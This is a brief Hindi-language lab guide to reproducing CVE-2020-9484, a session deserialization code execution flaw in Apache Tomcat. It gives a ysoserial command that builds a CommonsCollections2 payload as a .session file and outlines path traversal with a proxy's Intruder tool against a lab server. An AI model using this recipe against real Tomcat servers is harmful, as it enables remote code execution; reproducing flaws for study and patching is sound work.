CVE-2020-9484

Kali 2.0 का उपयोग करके Apache Tomcat Session Deserialization कोड निष्पादन भेद्यता CVE-2020-9484 को पुन: प्रस्तुत करें

पर्यावरण:

1. Kali 2.0
2. apache-tomcat-7.0.61-CVE-2020-9484.tar.gz (webapp s2-053 है, इसकी lib में commons-collections4-4.0.jar जोड़ा गया)
   
   

प्रारंभ करें

/yourtomcatdir/bin/startup.sh

पेलोड उत्पन्न करें

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "touch /tmp/9484" > /tmp/22222.session

शोषण

पहले S2-053 तक पहुँचें कि क्या यह सामान्य रूप से शुरू हुआ है: http://192.168.152.128:8080/s2-053/
पुनः पहुँचकर पैकेट कैप्चर करें, पथ ट्रैवर्सल के लिए इंट्रूडर का उपयोग करें

संदर्भ ： https://mp.weixin.qq.com/s/OGdHSwqydiDqe-BUkheTGg